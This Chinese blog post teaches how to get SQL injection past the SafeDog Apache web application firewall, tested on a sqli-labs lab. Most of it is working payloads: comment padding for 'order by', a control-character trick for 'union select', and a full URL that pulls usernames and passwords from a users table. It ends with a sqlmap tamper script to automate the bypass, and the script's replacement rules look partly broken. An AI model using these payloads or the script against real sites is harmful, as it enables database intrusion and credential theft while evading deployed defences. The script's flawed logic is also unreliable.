首页 » 渗透测试 » 正文

bypass安全狗绕过方法

0x00:环境

server 2003+phpstudy+安全狗apache版本v4.0+sqli-labs-master

 

0x01:绕过总结(图片网上的)

 

0x02:绕过order by

order by  (不拦截)

order by  4  (拦截)

order by 后面加数字就拦截。

绕过如下:

正常注入:
http://192.168.89.175/sqli/Less-1/?id=1' order by 4  (拦截)


绕过方法使用/*/ +

使用/*/注释干扰waf机制,用+连接 

payload: 'order/*//*/+by 

http://192.168.89.175/sqli/Less-1/?id=1'order/*//*/+by 4 %23   (不拦截)  

 

 

0x03:绕过union select

这个我绕了很久才绕过,安全狗对union select过滤挺严的。

安全狗对于union  select如果是单个加在URL标签什么不拦截,如果加在一起拦截。
比如:
http://192.168.89.175/sqli/Less-1/?id=1 union xxxx  (不拦截)
http://192.168.89.175/sqli/Less-1/?id=1  union  select (拦截)


绕过方法使用:ASCII控制字符参考URL编码16进制
--  (注释符)
%0e (删除本身)
%0a (换行)
ps: 安全狗过滤很多MySQL数据库里面的函数,union select可以绕过但是不一定函数能绕的过
演示:
ABC'--%0e%0a123yuag.org

payload:

'union--%0e%0aselect

 http://192.168.89.175/sqli/Less-1/?id=-1'union--%0e%0aselect 1,2,3%23 

0x04:union select from

payload:
'union--%0e%0aselect%201,username,password--%0e%0afrom%20users%20limit%202,1%23  

http://192.168.89.175/sqli/Less-1/?id=1%27union--%0e%0aselect%201,username,password--%0e%0afrom%20users%20limit%202,1%23 

0x05:sqlmap tamper脚本编写

#!/usr/bin/env python


from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW


def tamper(payload, **kwargs):
 
    if payload:


		payload=payload.replace("/*//*/","+")
		payload=payload.replace("--","--")
		payload=payload.replace("%0e","%0a")
		payload=payload.replace("UNION","union--%0e%0a")
		payload=payload.replace("DATABASE()","DATABASE/*!()*/")
		payload=payload.replace("SELECT","--%0e%0a")
		payload=payload.replace("FROM","--%0e%0a")	
		print payload
		
                
    return payload

0x06:总结

安全狗绕过的方法还有很多,看了网上的文章。

本文共 4 个回复

  • 小雨 2018/11/30 08:40

    😛 😛 😛 😛 😛 😛 😛 😛

  • 麦兜 2018/12/11 19:58

    上号

  • 1111 2019/03/09 11:54

    嘿嘿嘿,我在一个站看到你的一句话, 我只能说同道中人啊!

  • 你的灵兽看起来很好吃 2019/04/02 23:53

    虽然不知道说的是什么,但看起来好厉害的样子!

回复 1111 取消